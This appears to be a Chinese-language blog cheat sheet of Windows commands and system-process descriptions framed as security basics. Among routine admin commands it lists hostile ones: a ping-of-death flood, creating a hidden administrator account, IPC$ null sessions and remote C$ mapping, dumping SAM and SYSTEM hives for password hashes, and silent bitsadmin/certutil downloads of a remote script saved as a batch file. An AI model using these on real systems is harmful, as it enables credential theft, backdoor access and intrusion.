干货 | windows安全基础及常用命令小结

C:\Users\supermage\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup             //用户开机启动的程序
C:\Windows                              //系统的安装目录
C:\Windows\System32                     //系统的配置文件
C:\Windows\System32\config\SAM          //这个目录下的SAM文件存放着用户的登录账户和密码，要清除账户和密码，需要进PE系统把这个文件删掉，对应系统进程：lsass.exe
C:\PerfLogs                             //系统日志文件

#系统信息
 CHCP 65001                              修改字体编码为UTF-8
    systeminfo                           查看系统信息
    hostname                             查看主机名
    SET                                  查看环境变量
    color                                改变cmd颜色
    cls                                  清除屏幕
    runas /user:administrator cmd        切换管理员
#网络
    ipconfig /all                        显示完整网络信息
    ping -t  -l  65500  ip               死亡之ping
    ipconfig    /release                 释放ip
    ipconfig    /renew                   重新获得ip
    ipconfig    /flushdns                刷新DNS缓存
    ipconfig   /displaydns               显示DNS解析程序缓存的内容
    route print                          打印路由信息
    arp -a                               查看arp缓存
    net view                             查看局域网内其他计算机名称
    netsh firewall show state            防火墙状态
    netsh firewall show config           防火墙规则
#用户
    net config workstation                查看当前登陆用户
    whoami                                查看我是哪个用户
    net user                              查看有哪些用户
    net user supermage                    查看用户supermage的信息
    net localgroup                        查看组
    net localgroup administrators         查看组administrators的信息
    net user  hack   123  /add            新建一个用户hack，密码为123
    net user  hack$  123  /add            新建一个隐藏hack用户，密码为123
    net user  hack   /del                 删除用户hack
    net localgroup  administrators  hack  /add   将普通用户hack提权到管理员
    net user  guest  /active:yes          激活guest用户
    net user  guest  /active:no           关闭guest用户
    net password   密码                   更改系统当前登录用户密码
    net user guest 密码                   更改guest用户密码
#端口进程服务
    tasklist                             查看进程
    tasklist  /svc                       查看进程，显示进程使用者名称
    netstat  -ano                        查看系统开放端口
    netstat  -ano|findstr 80             查看80端口对应的PID
    tasklist | findstr 80                查看80端口对应的进程
    taskkill /f /t /im xx.exe            杀死xx.exe进程
    taskkill /F -pid 520                 杀死pid为520的进程
    net start                            查看开启了哪些服务
    net start telnet                     开启telnet服务
    net stop  telnet                     停止 telnet服务
    start   www.baidu.com                打开网址
#共享
    net use                               查看连接
    net share                             查看本地开启的共享
    net share ipc$                        开启ipc$共享
    net share ipc$ /del                   删除ipc$共享
    net share c$ /del                     删除C盘共享
    net use \\192.168.10.15\ipc$ /u:"" ""     与192.168.10.15建立ipc空连接
    net use \\192.168.10.15      /u:"" ""     与192.168.10.15建立ipc空连接，可以吧ipc$去掉
    net use \\192.168.10.15 /u:"administrator" "root"   以administrator身份与192.168.10.15建立ipc连接
    net use \\192.168.10.15 /del              删除ipc连接
    net use \\192.168.10.15\c$  /u:"administrator" "root"    建立C盘共享
    dir \\192.168.10.15\c$                  查看192.168.10.15C盘文件
    dir \\192.168.10.15\c$\user             查看192.168.10.15C盘文件下的user目录
    dir \\192.168.10.15\c$\user\test.exe    查看192.168.10.15C盘文件下的user目录下的test.exe文件
    net use \\192.168.10.15\c$  /del        删除该C盘共享连接
    net use k: \\192.168.10.15\c$  /u:"administrator" "root"    将目标C盘映射到本地K盘
    net use k: /del                                             删除该映射
#文件操作
    echo  hello,word > 1.txt              向1.txt中写入 hello,word
    echo  hello,word >>1.txt              向1.txt中追加 hello,word
    del                                   删除一个文件
    deltree                               删除文件夹和它下面的所有子文件夹还有文件
    ren 1.txt  2.txt                      将 1.txt 重命名为 2.txt
    type  1.txt                           查看1.txt文件的内容
    md                                    创建一个文件夹
    rd                                    删除一个文件夹
    move  1.txt  d:/                      将1.txt文件移动到d盘下
   123.txt  edit                          打开123.txt文件(可编辑)
    dir c:\                               查看C盘下的文件
    dir c:\ /A                            查看C盘下的所有文件，包括隐藏文件
    dir c:\ /S                            查看C盘下和其子文件夹下的文件
    dir c:\ /B                            只显示C盘下的文件名
    shutdown -s -t 60 -c  “你的电脑被黑了”  -s关机 -r重启 -a取消
    reg save  hklm\sam  sam.hive
    reg save  hklm\system  system.hive
    这两个文件是windows的用户账户数据库，所有用户的登录名以及口令等相关信息都会保存在文件中，这两条命令是获取windows管理员的hash值

bitsadmin /transfer 任务名 远程文件URL  本地路径
比如：
bitsadmin /transfer job1 http://files.cnblogs.com/files/gayhub/bcn.js d:\bcn.bat  //任务名可以随便起，但路径必须存在，否则不能下载
bitsadmin /list     // 查看当前的任务
bitsadmin /rawreturn /transfer job1 http://files.cnblogs.com/files/gayhub/bcn.js d:\bcn.bat   //不显示进度，静默下载

bitsadmin /setpriority job1 foreground

bitsadmin /create job         #创建任务
bitsadmin /addfile job http://files.cnblogs.com/files/gayhub/bcn.js d:\bcn.bat         #添加文件到任务
bitsadmin /resume job         #激活任务
bitsadmin /info job /verbose  #显示作业的摘要信息。使用/verbose参数提供有关作业的详细信息
bitsadmin /complete job       #完成这个下载任务
bitsadmin  /Cancel job        #取消某个任务

certutil -urlcache -split -f URL [保存路径] //如不指定路径则保存在当前目录下
比如
certutil -urlcache -split -f https://imgchr.com/i/1qLaNt

conime.exe：   与输入法编辑器有关的系统进程，能够确保正常调整和编辑系统中的输入法

csrss.exe：    该进程是微软客户端/服务端运行时子系统，该进行管理windows图形相关任务

ctfmon.exe：   该进程与输入法有关，该进程的正常运行能够确保语言栏能正常显示在任务栏中

explorer.exe：该进程是windows资源管理器，可以说是windows图形界面外壳程序，该进程的正常运行能够确保在桌面上显示桌面图标和任务栏

lsass.exe：    该进行用于windows操作系统的安全机制、本地安全和登录策略

services.exe：该进程用于启动和停止系统中的服务，如果用户手动终止该进程，系统也会重新启动该进程

smss.exe：     该进程用于调用对话管理子系统，负责用户与操作系统的对话

svchost.exe：  该进行是从动态链接库(DLL)中运行的服务的通用主机进程名称，如果用户手动终止该进程，系统也会重新启动该进程

system：       该进程是windows页面内存管理进程，它能够确保系统的正常启动

system idle process：该进行的功能是在CPU空闲时发出一个命令，使CPU挂起，从而有效降低CPU内核的温度

winlogon.exe：该进程是Windows NT用户登录程序，主要用于管理用户登录和退出。